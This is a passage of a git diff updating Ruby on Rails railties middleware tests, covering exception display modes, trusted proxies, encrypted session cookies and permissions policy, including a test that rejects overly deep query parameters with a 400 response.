 
     test "uses custom exceptions app" do
-      add_to_config <<-RUBY
+      add_to_config <<~'RUBY'
         config.exceptions_app = lambda do |env|
           [404, { "Content-Type" => "text/plain" }, ["YOU FAILED"]]
         end
       RUBY
 
-      app.config.action_dispatch.show_exceptions = true
+      app.config.action_dispatch.show_exceptions = :all
 
-      get "/foo"
-      assert_equal 404, last_response.status
-      assert_equal "YOU FAILED", last_response.body
+      quietly do
+        get("/foo", {}, "HTTPS" => "on")
+        assert_equal 404, last_response.status
+        assert_equal "YOU FAILED", last_response.body
+      end
     end
 
-    test "url generation error when action_dispatch.show_exceptions is set raises an exception" do
-      controller :foo, <<-RUBY
+    test "URL generation error when action_dispatch.show_exceptions is set raises an exception" do
+      routes <<~'RUBY'
+        get "/foo" => "foo#index"
+      RUBY
+      controller :foo, <<~'RUBY'
         class FooController < ActionController::Base
           def index
             raise ActionController::UrlGenerationError
@@ -67,48 +145,71 @@ def index
         end
       RUBY
 
-      app.config.action_dispatch.show_exceptions = true
+      app.config.action_dispatch.show_exceptions = :all
 
-      get "/foo"
-      assert_equal 500, last_response.status
+      quietly do
+        get("/foo", {}, "HTTPS" => "on")
+        assert_equal 500, last_response.status
+      end
     end
 
     test "unspecified route when action_dispatch.show_exceptions is not set raises an exception" do
-      app.config.action_dispatch.show_exceptions = false
+      app.config.action_dispatch.show_exceptions = :none
 
       assert_raise(ActionController::RoutingError) do
-        get "/foo"
+        get("/does-not-exist", {}, "HTTPS" => "on")
       end
     end
 
     test "unspecified route when action_dispatch.show_exceptions is set shows 404" do
-      app.config.action_dispatch.show_exceptions = true
+      app.config.action_dispatch.show_exceptions = :all
 
-      assert_nothing_raised do
-        get "/foo"
-        assert_match "The page you were looking for doesn't exist.", last_response.body
+      quietly do
+        assert_nothing_raised do
+          get("/foo", {}, "HTTPS" => "on")
+          assert_match "The page you were looking for doesn't exist.", last_response.body
+        end
       end
     end
 
     test "unspecified route when action_dispatch.show_exceptions and consider_all_requests_local are set shows diagnostics" do
-      app.config.action_dispatch.show_exceptions = true
+      app.config.action_dispatch.show_exceptions = :all
+      app.config.consider_all_requests_local = true
+
+      quietly do
+        assert_nothing_raised do
+          get("/foo", {}, "HTTPS" => "on")
+          assert_match "No route matches", last_response.body
+        end
+      end
+    end
+
+    test "routing to a nonexistent controller when action_dispatch.show_exceptions and consider_all_requests_local are set shows diagnostics" do
+      routes <<~'RUBY'
+        resources :articles
+      RUBY
+
+      app.config.action_dispatch.show_exceptions = :all
       app.config.consider_all_requests_local = true
 
-      assert_nothing_raised do
-        get "/foo"
-        assert_match "No route matches", last_response.body
+      quietly do
+        get("/articles", {}, "HTTPS" => "on")
+        assert_match "<title>Action Controller: Exception caught</title>", last_response.body
       end
     end
 
     test "displays diagnostics message when exception raised in template that contains UTF-8" do
-      controller :foo, <<-RUBY
+      routes <<~'RUBY'
+        get "/foo" => "foo#index"
+      RUBY
+      controller :foo, <<~'RUBY'
         class FooController < ActionController::Base
           def index
           end
         end
       RUBY
 
-      app.config.action_dispatch.show_exceptions = true
+      app.config.action_dispatch.show_exceptions = :all
       app.config.consider_all_requests_local = true
 
       app_file "app/views/foo/index.html.erb", <<-ERB
@@ -116,9 +217,123 @@ def index
         ✓測試テスト시험
       ERB
 
-      get "/foo", utf8: "✓"
-      assert_match(/boooom/, last_response.body)
-      assert_match(/測試テスト시험/, last_response.body)
+      quietly do
+        get("/foo", { utf8: "✓" }, { "HTTPS" => "on" })
+        assert_match(/boooom/, last_response.body)
+        assert_match(/測試テスト시험/, last_response.body)
+      end
+    end
+
+    test "displays diagnostics message when malformed query parameters are provided" do
+      routes <<~'RUBY'
+        get "/foo" => "foo#index"
+      RUBY
+
+      controller :foo, <<~'RUBY'
+        class FooController < ActionController::Base
+          def index
+          end
+        end
+      RUBY
+
+      app.config.action_dispatch.show_exceptions = :all
+      app.config.consider_all_requests_local = true
+
+      quietly do
+        get "/foo?x[y]=1&x[y][][w]=2", {}, "HTTPS" => "on"
+        assert_equal 400, last_response.status
+        assert_match "Invalid query parameters", last_response.body
+      end
+    end
+
+    test "displays diagnostics message when too deep query parameters are provided" do
+      routes <<~'RUBY'
+        get "/foo" => "foo#index"
+      RUBY
+      controller :foo, <<~'RUBY'
+        class FooController < ActionController::Base
+          def index
+          end
+        end
+      RUBY
+
+      app.config.action_dispatch.show_exceptions = :all
+      app.config.consider_all_requests_local = true
+
+      limit = ActionDispatch::ParamBuilder.default.param_depth_limit + 1
+      malicious_url = "/foo?#{'[test]' * limit}=test"
+
+      quietly do
+        get(malicious_url, {}, "HTTPS" => "on")
+        assert_equal 400, last_response.status
+        assert_match "Invalid query parameters", last_response.body
+      end
+    end
+
+    test "displays statement invalid template correctly" do
+      routes <<~'RUBY'
+        get "/foo" => "foo#index"
+      RUBY
+      controller :foo, <<~'RUBY'
+        class FooController < ActionController::Base
+          def index
+            raise ActiveRecord::StatementInvalid
+          end
+        end
+      RUBY
+      app.config.action_dispatch.show_exceptions = :all
+      app.config.consider_all_requests_local = true
+      app.config.action_dispatch.ignore_accept_header = false
+
+      quietly do
+        get("/foo", {}, "HTTPS" => "on")
+        assert_equal 500, last_response.status
+        assert_match "<title>Action Controller: Exception caught</title>", last_response.body
+        assert_match "ActiveRecord::StatementInvalid", last_response.body
+
+        get "/foo", {}, { "HTTP_ACCEPT" => "text/plain", "HTTP_X_REQUESTED_WITH" => "XMLHttpRequest", "HTTPS" => "on" }
+        assert_equal 500, last_response.status
+        assert_equal "text/plain", last_response.media_type
+        assert_match "ActiveRecord::StatementInvalid", last_response.body
+      end
+    end
+
+    test "show_exceptions :rescuable with a rescuable error" do
+      routes <<~'RUBY'
+        get "/foo" => "foo#index"
+      RUBY
+      controller :foo, <<~'RUBY'
+        class FooController < ActionController::Base
+          def index
+            raise AbstractController::ActionNotFound
+          end
+        end
+      RUBY
+
+      app.config.action_dispatch.show_exceptions = :rescuable
+
+      quietly do
+        get "/foo", {}, { "HTTPS" => "on" }
+        assert_equal 404, last_response.status
+      end
+    end
+
+    test "show_exceptions :rescuable with a non-rescuable error" do
+      routes <<~'RUBY'
+        get "/foo" => "foo#index"
+      RUBY
+      controller :foo, <<~'RUBY'
+        class FooController < ActionController::Base
+          def index
+            raise 'oops'
+          end
+        end
+      RUBY
+
+      app.config.action_dispatch.show_exceptions = :rescuable
+
+      error = assert_raises(RuntimeError) { get("/foo", {}, { "HTTPS" => "on" }) }
+      assert_equal "oops", error.message
     end
   end
 end
diff --git a/railties/test/application/middleware/permission_policy_test.rb b/railties/test/application/middleware/permission_policy_test.rb
new file mode 100644
index 0000000000000..adaa895820560
--- /dev/null
+++ b/railties/test/application/middleware/permission_policy_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require "isolation/abstract_unit"
+
+module ApplicationTests
+  class PermissionPolicyTest < ActiveSupport::TestCase
+    include ActiveSupport::Testing::Isolation
+
+    def setup
+      build_app
+    end
+
+    def teardown
+      teardown_app
+    end
+
+    test "overriding permissions_policy raises if no global policy configured" do
+      make_basic_app
+      app.config.action_dispatch.show_exceptions = :none
+
+      class ::OmgController < ActionController::Base
+        permissions_policy do |f|
+          f.gyroscope :none
+        end
+
+        def index
+          head :ok
+        end
+      end
+
+      assert_raises RuntimeError, match: /Cannot override permissions_policy/ do
+        get "/"
+      end
+    end
+  end
+end
diff --git a/railties/test/application/middleware/remote_ip_test.rb b/railties/test/application/middleware/remote_ip_test.rb
index c34d9d6ee7405..d1c5a4a01492e 100644
--- a/railties/test/application/middleware/remote_ip_test.rb
+++ b/railties/test/application/middleware/remote_ip_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "ipaddr"
 require "isolation/abstract_unit"
 require "active_support/key_generator"
@@ -9,8 +11,10 @@ class RemoteIpTest < ActiveSupport::TestCase
     def remote_ip(env = {})
       remote_ip = nil
       env = Rack::MockRequest.env_for("/").merge(env).merge!(
-        "action_dispatch.show_exceptions" => false,
-        "action_dispatch.key_generator"   => ActiveSupport::LegacyKeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33")
+        "action_dispatch.show_exceptions" => :none,
+        "action_dispatch.key_generator" => ActiveSupport::CachingKeyGenerator.new(
+          ActiveSupport::KeyGenerator.new("b3c631c314c0bbca50c1b2843150fe33", iterations: 1000)
+        )
       )
 
       endpoint = Proc.new do |e|
@@ -59,20 +63,34 @@ def remote_ip(env = {})
       assert_equal "4.2.42.42", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "4.2.42.42")
     end
 
-    test "the user can set trusted proxies" do
+    test "the user can set trusted proxies with an enumerable of case equality comparable values" do
       make_basic_app do |app|
-        app.config.action_dispatch.trusted_proxies = /^4\.2\.42\.42$/
+        app.config.action_dispatch.trusted_proxies = [IPAddr.new("4.2.42.0/24"), /^4\.2\.42\.43$/, "4.2.42.44"]
       end
 
-      assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "4.2.42.42")
+      assert_not_deprecated(ActionDispatch.deprecator) do
+        assert_equal "1.1.1.1",
+                     remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "4.2.42.42,4.2.42.43,4.2.42.44")
+      end
     end
 
-    test "the user can set trusted proxies with an IPAddr argument" do
+    test "setting trusted proxies replaces the default set of trusted proxies" do
       make_basic_app do |app|
-        app.config.action_dispatch.trusted_proxies = IPAddr.new("4.2.42.0/24")
+        app.config.action_dispatch.trusted_proxies = [IPAddr.new("4.2.42.0/24")]
+      end
+
+      assert_equal "10.0.0.0",
+                   remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "10.0.0.0,4.2.42.42")
+    end
+
+    test "setting trusted proxies to a single value (deprecated) adds value to default trusted proxies" do
+      exception = assert_raises(ArgumentError) do
+        make_basic_app do |app|
+          app.config.action_dispatch.trusted_proxies = IPAddr.new("4.2.42.0/24")
+        end
       end
 
-      assert_equal "1.1.1.1", remote_ip("REMOTE_ADDR" => "1.1.1.1", "HTTP_X_FORWARDED_FOR" => "10.0.0.0,4.2.42.42")
+      assert_match(/Setting config\.action_dispatch\.trusted_proxies to a single value/, exception.message)
     end
   end
 end
diff --git a/railties/test/application/middleware/sendfile_test.rb b/railties/test/application/middleware/sendfile_test.rb
index 4938402fdceb9..818ad61c64882 100644
--- a/railties/test/application/middleware/sendfile_test.rb
+++ b/railties/test/application/middleware/sendfile_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 
 module ApplicationTests
@@ -13,10 +15,6 @@ def teardown
       teardown_app
     end
 
-    def app
-      @app ||= Rails.application
-    end
-
     define_method :simple_controller do
       class ::OmgController < ActionController::Base
         def index
@@ -31,7 +29,7 @@ def index
       simple_controller
 
       get "/"
-      assert !last_response.headers["X-Sendfile"]
+      assert_not last_response.headers["X-Sendfile"]
       assert_equal File.read(__FILE__), last_response.body
     end
 
diff --git a/railties/test/application/middleware/session_test.rb b/railties/test/application/middleware/session_test.rb
index 959a629edeea8..fb16dcdd150c5 100644
--- a/railties/test/application/middleware/session_test.rb
+++ b/railties/test/application/middleware/session_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "rack/test"
 
@@ -29,7 +31,7 @@ def app
       add_to_config "config.force_ssl = true"
       add_to_config "config.ssl_options = { secure_cookies: false }"
       require "#{app_path}/config/environment"
-      assert !app.config.session_options[:secure]
+      assert_not app.config.session_options[:secure]
     end
 
     test "session is not loaded if it's not used" do
@@ -49,7 +51,7 @@ def index
       get "/"
 
       assert last_request.env["HTTP_COOKIE"]
-      assert !last_response.headers["Set-Cookie"]
+      assert_not last_response.headers["Set-Cookie"]
     end
 
     test "session is empty and isn't saved on unverified request when using :null_session protect method" do
@@ -134,7 +136,7 @@ def read_cookie
       assert_equal '"1"', last_response.body
     end
 
-    test "session using encrypted cookie store" do
+    test "session using encrypted cookie store with JSON serializer" do
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get ':controller(/:action)'
@@ -162,6 +164,13 @@ def read_raw_cookie
         end
       RUBY
 
+      add_to_config <<-RUBY
+        # Enable AEAD cookies
+        config.action_dispatch.use_authenticated_cookie_encryption = true
+
+        config.action_dispatch.cookies_serializer = :json
+      RUBY
+
       require "#{app_path}/config/environment"
 
       get "/foo/write_session"
@@ -171,15 +180,15 @@ def read_raw_cookie
       get "/foo/read_encrypted_cookie"
       assert_equal "1", last_response.body
 
-      secret = app.key_generator.generate_key("encrypted cookie")
-      sign_secret = app.key_generator.generate_key("signed encrypted cookie")
-      encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret)
+      cipher = "aes-256-gcm"
+      secret = app.key_generator.generate_key("authenticated encrypted cookie")
+      encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len(cipher)], cipher: cipher)
 
       get "/foo/read_raw_cookie"
-      assert_equal 1, encryptor.decrypt_and_verify(last_response.body)["foo"]
+      assert_equal 1, encryptor.decrypt_and_verify(last_response.body, purpose: "cookie._myapp_session")["foo"]
     end
 
-    test "session upgrading signature to encryption cookie store works the same way as encrypted cookie store" do
+    test "session using encrypted cookie store with marshal serializer" do
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get ':controller(/:action)'
@@ -208,7 +217,10 @@ def read_raw_cookie
       RUBY
 
       add_to_config <<-RUBY
-        secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+        # Enable AEAD cookies
+        config.action_dispatch.use_authenticated_cookie_encryption = true
+
+        config.action_dispatch.cookies_serializer = :marshal
       RUBY
 
       require "#{app_path}/config/environment"
@@ -220,15 +232,15 @@ def read_raw_cookie
       get "/foo/read_encrypted_cookie"
       assert_equal "1", last_response.body
 
-      secret = app.key_generator.generate_key("encrypted cookie")
-      sign_secret = app.key_generator.generate_key("signed encrypted cookie")
-      encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret)
+      cipher = "aes-256-gcm"
+      secret = app.key_generator.generate_key("authenticated encrypted cookie")
+      encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len(cipher)], cipher: cipher, serializer: Marshal)
 
       get "/foo/read_raw_cookie"
-      assert_equal 1, encryptor.decrypt_and_verify(last_response.body)["foo"]
+      assert_equal 1, encryptor.decrypt_and_verify(last_response.body, purpose: "cookie._myapp_session")["foo"]
     end
 
-    test "session upgrading signature to encryption cookie store upgrades session to encrypted mode" do
+    test "session upgrading signature to encryption cookie store works the same way as encrypted cookie store" do
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get ':controller(/:action)'
@@ -237,14 +249,8 @@ def read_raw_cookie
 
       controller :foo, <<-RUBY
         class FooController < ActionController::Base
-          def write_raw_session
-            # {"session_id"=>"1965d95720fffc123941bdfb7d2e6870", "foo"=>1}
-            cookies[:_myapp_session] = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTE5NjVkOTU3MjBmZmZjMTIzOTQxYmRmYjdkMmU2ODcwBjsAVEkiCGZvbwY7AEZpBg==--315fb9931921a87ae7421aec96382f0294119749"
-            head :ok
-          end
-
           def write_session
-            session[:foo] = session[:foo] + 1
+            session[:foo] = 1
             head :ok
           end
 
@@ -263,31 +269,29 @@ def read_raw_cookie
       RUBY
 
       add_to_config <<-RUBY
-        secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
+        # Enable AEAD cookies
+        config.action_dispatch.use_authenticated_cookie_encryption = true
+        config.action_dispatch.cookies_serializer = :marshal
       RUBY
 
       require "#{app_path}/config/environment"
 
-      get "/foo/write_raw_session"
-      get "/foo/read_session"
-      assert_equal "1", last_response.body
-
       get "/foo/write_session"
       get "/foo/read_session"
-      assert_equal "2", last_response.body
+      assert_equal "1", last_response.body
 
       get "/foo/read_encrypted_cookie"
-      assert_equal "2", last_response.body
+      assert_equal "1", last_response.body
 
-      secret = app.key_generator.generate_key("encrypted cookie")
-      sign_secret = app.key_generator.generate_key("signed encrypted cookie")
-      encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len], sign_secret)
+      cipher = "aes-256-gcm"
+      secret = app.key_generator.generate_key("authenticated encrypted cookie")
+      encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len(cipher)], cipher: cipher, serializer: Marshal)
 
       get "/foo/read_raw_cookie"
-      assert_equal 2, encryptor.decrypt_and_verify(last_response.body)["foo"]
+      assert_equal 1, encryptor.decrypt_and_verify(last_response.body, purpose: "cookie._myapp_session")["foo"]
     end
 
-    test "session upgrading legacy signed cookies to new signed cookies" do
+    test "session upgrading from AES-CBC-HMAC encryption to AES-GCM encryption" do
       app_file "config/routes.rb", <<-RUBY
         Rails.application.routes.draw do
           get ':controller(/:action)'
@@ -297,8 +301,9 @@ def read_raw_cookie
       controller :foo, <<-RUBY
         class FooController < ActionController::Base
           def write_raw_session
+            # AES-256-CBC with SHA1 HMAC & SHA1 key derivation
             # {"session_id"=>"1965d95720fffc123941bdfb7d2e6870", "foo"=>1}
-            cookies[:_myapp_session] = "BAh7B0kiD3Nlc3Npb25faWQGOgZFRkkiJTE5NjVkOTU3MjBmZmZjMTIzOTQxYmRmYjdkMmU2ODcwBjsAVEkiCGZvbwY7AEZpBg==--315fb9931921a87ae7421aec96382f0294119749"
+            cookies[:_myapp_session] = "TlgrdS85aUpDd1R2cDlPWlR6K0FJeGExckwySjZ2Z0pkR3d2QnRObGxZT25aalJWYWVvbFVLcHF4d0VQVDdSaFF2QjFPbG9MVjJzeWp3YjcyRUlKUUU2ZlR4bXlSNG9ZUkJPRUtld0E3dVU9LS0xNDZXbGpRZ3NjdW43N2haUEZJSUNRPT0=--3639b5ce54c09495cfeaae928cd5634e0c4b2e96"
             head :ok
           end
 
@@ -311,8 +316,8 @@ def read_session
             render plain: session[:foo]
           end
 
-          def read_signed_cookie
-            render plain: cookies.signed[:_myapp_session]['foo']
+          def read_encrypted_cookie
+            render plain: cookies.encrypted[:_myapp_session]['foo']
           end
 
           def read_raw_cookie
@@ -322,27 +327,43 @@ def read_raw_cookie
       RUBY
 
       add_to_config <<-RUBY
-        secrets.secret_token = "3b7cd727ee24e8444053437c36cc66c4"
-        secrets.secret_key_base = nil
+        # Use a static key
+        Rails.application.credentials.secret_key_base = "known key base"
+
+        # Enable AEAD cookies
+        config.action_dispatch.use_authenticated_cookie_encryption = true
+
+        # Use SHA1 key derivation
+        config.active_support.key_generator_hash_digest_class = OpenSSL::Digest::SHA1
+
+        config.action_dispatch.cookies_serializer = :marshal
       RUBY
 
-      require "#{app_path}/config/environment"
+      begin
+        old_rails_env, ENV["RAILS_ENV"] = ENV["RAILS_ENV"], "production"
 
-      get "/foo/write_raw_session"
-      get "/foo/read_session"
-      assert_equal "1", last_response.body
+        require "#{app_path}/config/environment"
 
-      get "/foo/write_session"
-      get "/foo/read_session"
-      assert_equal "2", last_response.body
+        get "/foo/write_raw_session"
+        get "/foo/read_session"
+        assert_equal "1", last_response.body
 
-      get "/foo/read_signed_cookie"
-      assert_equal "2", last_response.body
+        get "/foo/write_session"
+        get "/foo/read_session"
+        assert_equal "2", last_response.body
 
-      verifier = ActiveSupport::MessageVerifier.new(app.secrets.secret_token)
+        get "/foo/read_encrypted_cookie"
+        assert_equal "2", last_response.body
 
-      get "/foo/read_raw_cookie"
-      assert_equal 2, verifier.verify(last_response.body)["foo"]
+        cipher = "aes-256-gcm"
+        secret = app.key_generator.generate_key("authenticated encrypted cookie")
+        encryptor = ActiveSupport::MessageEncryptor.new(secret[0, ActiveSupport::MessageEncryptor.key_len(cipher)], cipher: cipher, serializer: Marshal)
+
+        get "/foo/read_raw_cookie"
+        assert_equal 2, encryptor.decrypt_and_verify(last_response.body, purpose: "cookie._myapp_session")["foo"]
+      ensure
+        ENV["RAILS_ENV"] = old_rails_env
+      end
     end
 
     test "calling reset_session on request does not trigger an error for API apps" do
@@ -373,10 +394,84 @@ def dump_flash
       assert_not_includes Rails.application.middleware, ActionDispatch::Flash
     end
 
+    test "disabled session allows reads and delete but fail on writes" do
+      add_to_config "config.session_store :disabled"
+
+      controller :test, <<-RUBY
+        class TestController < ApplicationController
+          def write_session
+            request.session[:foo] = "bar"
+            render plain: "This shouldn't work"
+          end
+
+          def read_session
+            render plain: request.session[:foo].inspect
+          end
+
+          def reset_session
+            request.reset_session
+            render plain: "It worked!"
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/write_session" => "test#write_session"
+          get "/read_session" => "test#read_session"
+          get "/reset_session" => "test#reset_session"
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      get "/write_session"
+      assert_equal 500, last_response.status
+
+      get "/read_session"
+      assert_equal 200, last_response.status
+      assert_equal nil.inspect, last_response.body
+
+      get "/reset_session"
+      assert_equal 200, last_response.status
+      assert_equal "It worked!", last_response.body
+    end
+
     test "cookie_only is set to true even if user tries to overwrite it" do
       add_to_config "config.session_store :cookie_store, key: '_myapp_session', cookie_only: false"
       require "#{app_path}/config/environment"
       assert app.config.session_options[:cookie_only], "Expected cookie_only to be set to true"
     end
+
+    test "session uses default options if previous sessions exist" do
+      add_to_config <<-RUBY
+        config.api_only = true
+        config.session_store :cookie_store, key: "_random_key"
+        config.middleware.use ActionDispatch::Cookies
+        config.middleware.use config.session_store, config.session_options
+        config.active_record.database_selector = { delay: 2.seconds }
+        config.active_record.database_resolver = ActiveRecord::Middleware::DatabaseSelector::Resolver
+        config.active_record.database_resolver_context = ActiveRecord::Middleware::DatabaseSelector::Resolver::Session
+      RUBY
+
+      controller :test, <<-RUBY
+        class TestController < ApplicationController
+          def test_action
+            head :ok
+          end
+        end
+      RUBY
+
+      app_file "config/routes.rb", <<-RUBY
+        Rails.application.routes.draw do
+          get "/test_action" => "test#test_action"
+        end
+      RUBY
+
+      require "#{app_path}/config/environment"
+
+      get "/test_action"
+      assert_equal 200, last_response.status
+    end
   end
 end
diff --git a/railties/test/application/middleware/static_test.rb b/railties/test/application/middleware/static_test.rb
index 5cd3e4325e238..0977042cfe8e2 100644
--- a/railties/test/application/middleware/static_test.rb
+++ b/railties/test/application/middleware/static_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "isolation/abstract_unit"
 require "rack/test"
 
diff --git a/railties/test/application/middleware_test.rb b/railties/test/application/middleware_test.rb
deleted file mode 100644
index 0a6e5b52e91ef..0000000000000
--- a/railties/test/application/middleware_test.rb
+++ /dev/null
@@ -1,310 +0,0 @@
-require "isolation/abstract_unit"
-
-module ApplicationTests
-  class MiddlewareTest < ActiveSupport::TestCase
-    include ActiveSupport::Testing::Isolation
-
-    def setup
-      build_app
-      FileUtils.rm_rf "#{app_path}/config/environments"
-    end
-
-    def teardown
-      teardown_app
-    end
-
-    def app
-      @app ||= Rails.application
-    end
-
-    test "default middleware stack" do
-      add_to_config "config.active_record.migration_error = :page_load"
-
-      boot!
-
-      assert_equal [
-        "Rack::Sendfile",
-        "ActionDispatch::Static",
-        "ActionDispatch::Executor",
-        "ActiveSupport::Cache::Strategy::LocalCache",
-        "Rack::Runtime",
-        "Rack::MethodOverride",
-        "ActionDispatch::RequestId",
-        "ActionDispatch::RemoteIp",
-        "Rails::Rack::Logger",
-        "ActionDispatch::ShowExceptions",
-        "ActionDispatch::DebugExceptions",
-        "ActionDispatch::Reloader",
-        "ActionDispatch::Callbacks",
-        "ActiveRecord::Migration::CheckPending",
-        "ActionDispatch::Cookies",
-        "ActionDispatch::Session::CookieStore",
-        "ActionDispatch::Flash",
-        "Rack::Head",
-        "Rack::ConditionalGet",
-        "Rack::ETag"
-      ], middleware
-    end
-
-    test "api middleware stack" do
-      add_to_config "config.api_only = true"
-
-      boot!
-
-      assert_equal [
-        "Rack::Sendfile",
-        "ActionDispatch::Static",
-        "ActionDispatch::Executor",
-        "ActiveSupport::Cache::Strategy::LocalCache",
-        "Rack::Runtime",
-        "ActionDispatch::RequestId",
-        "ActionDispatch::RemoteIp",
-        "Rails::Rack::Logger",
-        "ActionDispatch::ShowExceptions",
-        "ActionDispatch::DebugExceptions",
-        "ActionDispatch::Reloader",
-        "ActionDispatch::Callbacks",
-        "Rack::Head",
-        "Rack::ConditionalGet",
-        "Rack::ETag"
-      ], middleware
-    end
-
-    test "middleware dependencies" do
-      boot!
-
-      # The following array-of-arrays describes dependencies between
-      # middlewares: the first item in each list depends on the
-      # remaining items (and therefore must occur later in the
-      # middleware stack).
-
-      dependencies = [
-        # Logger needs a fully "corrected" request environment
-        %w(Rails::Rack::Logger Rack::MethodOverride ActionDispatch::RequestId ActionDispatch::RemoteIp),
-
-        # Serving public/ doesn't invoke user code, so it should skip
-        # locks etc
-        %w(ActionDispatch::Executor ActionDispatch::Static),
-
-        # Errors during reload must be reported
-        %w(ActionDispatch::Reloader ActionDispatch::ShowExceptions ActionDispatch::DebugExceptions),
-
-        # Outright dependencies
-        %w(ActionDispatch::Static Rack::Sendfile),
-        %w(ActionDispatch::Flash ActionDispatch::Session::CookieStore),
-        %w(ActionDispatch::Session::CookieStore ActionDispatch::Cookies),
-      ]
-
-      require "tsort"
-      sorted = TSort.tsort((middleware | dependencies.flatten).method(:each),
-                           lambda { |n, &b| dependencies.each { |m, *ds| ds.each(&b) if m == n } })
-      assert_equal sorted, middleware
-    end
-
-    test "Rack::Cache is not included by default" do
-      boot!
-
-      assert_not_includes middleware, "Rack::Cache", "Rack::Cache is not included in the default stack unless you set config.action_dispatch.rack_cache"
-    end
-
-    test "Rack::Cache is present when action_dispatch.rack_cache is set" do
-      add_to_config "config.action_dispatch.rack_cache = true"
-
-      boot!
-
-      assert_includes middleware, "Rack::Cache"
-    end
-
-    test "ActiveRecord::Migration::CheckPending is present when active_record.migration_error is set to :page_load" do
-      add_to_config "config.active_record.migration_error = :page_load"
-
-      boot!
-
-      assert_includes middleware, "ActiveRecord::Migration::CheckPending"
-    end
-
-    test "ActionDispatch::SSL is present when force_ssl is set" do
-      add_to_config "config.force_ssl = true"
-      boot!
-      assert_includes middleware, "ActionDispatch::SSL"
-    end
-
-    test "ActionDispatch::SSL is configured with options when given" do
-      add_to_config "config.force_ssl = true"
-      add_to_config "config.ssl_options = { redirect: { host: 'example.com' } }"
-      boot!
-
-      assert_equal [{ redirect: { host: "example.com" } }], Rails.application.middleware.first.args
-    end
-
-    test "removing Active Record omits its middleware" do
-      use_frameworks []
-      boot!
-      assert_not_includes middleware, "ActiveRecord::Migration::CheckPending"
-    end
-
-    test "includes executor" do
-      boot!
-      assert_includes middleware, "ActionDispatch::Executor"
-    end
-
-    test "does not include lock if cache_classes is set and so is eager_load" do
-      add_to_config "config.cache_classes = true"
-      add_to_config "config.eager_load = true"
-      boot!
-      assert_not_includes middleware, "Rack::Lock"
-    end
-
-    test "does not include lock if allow_concurrency is set to :unsafe" do
-      add_to_config "config.allow_concurrency = :unsafe"
-      boot!
-      assert_not_includes middleware, "Rack::Lock"
-    end
-
-    test "includes lock if allow_concurrency is disabled" do
-      add_to_config "config.allow_concurrency = false"
-      boot!
-      assert_includes middleware, "Rack::Lock"
-    end
-
-    test "removes static asset server if public_file_server.enabled is disabled" do
-      add_to_config "config.public_file_server.enabled = false"
-      boot!
-      assert_not_includes middleware, "ActionDispatch::Static"
-    end
-
-    test "can delete a middleware from the stack" do
-      add_to_config "config.middleware.delete ActionDispatch::Static"
-      boot!
-      assert_not_includes middleware, "ActionDispatch::Static"
-    end
-
-    test "can delete a middleware from the stack even if insert_before is added after delete" do
-      add_to_config "config.middleware.delete Rack::Runtime"
-      add_to_config "config.middleware.insert_before(Rack::Runtime, Rack::Config)"
-      boot!
-      assert_includes middleware, "Rack::Config"
-      assert_not middleware.include?("Rack::Runtime")
-    end
-
-    test "can delete a middleware from the stack even if insert_after is added after delete" do
-      add_to_config "config.middleware.delete Rack::Runtime"
-      add_to_config "config.middleware.insert_after(Rack::Runtime, Rack::Config)"
-      boot!
-      assert_includes middleware, "Rack::Config"
-      assert_not middleware.include?("Rack::Runtime")
-    end
-
-    test "includes exceptions middlewares even if action_dispatch.show_exceptions is disabled" do
-      add_to_config "config.action_dispatch.show_exceptions = false"
-      boot!
-      assert_includes middleware, "ActionDispatch::ShowExceptions"
-      assert_includes middleware, "ActionDispatch::DebugExceptions"
-    end
-
-    test "removes ActionDispatch::Reloader if cache_classes is true" do
-      add_to_config "config.cache_classes = true"
-      boot!
-      assert_not_includes middleware, "ActionDispatch::Reloader"
-    end
-
-    test "use middleware" do
-      use_frameworks []
-      add_to_config "config.middleware.use Rack::Config"
-      boot!
-      assert_equal "Rack::Config", middleware.last
-    end
-
-    test "insert middleware after" do
-      add_to_config "config.middleware.insert_after Rack::Sendfile, Rack::Config"
-      boot!
-      assert_equal "Rack::Config", middleware.second
-    end
-
-    test "unshift middleware" do
-      add_to_config "config.middleware.unshift Rack::Config"
-      boot!
-      assert_equal "Rack::Config", middleware.first
-    end
-
-    test "Rails.cache does not respond to middleware" do
-      add_to_config "config.cache_store = :memory_store"
-      boot!
-      assert_equal "Rack::Runtime", middleware.fourth
-    end
-
-    test "Rails.cache does respond to middleware" do
-      boot!
-      assert_equal "Rack::Runtime", middleware.fifth
-    end
-
-    test "insert middleware before" do
-      add_to_config "config.middleware.insert_before Rack::Sendfile, Rack::Config"
-      boot!
-      assert_equal "Rack::Config", middleware.first
-    end
-
-    test "can't change middleware after it's built" do
-      boot!
-      assert_raise RuntimeError do
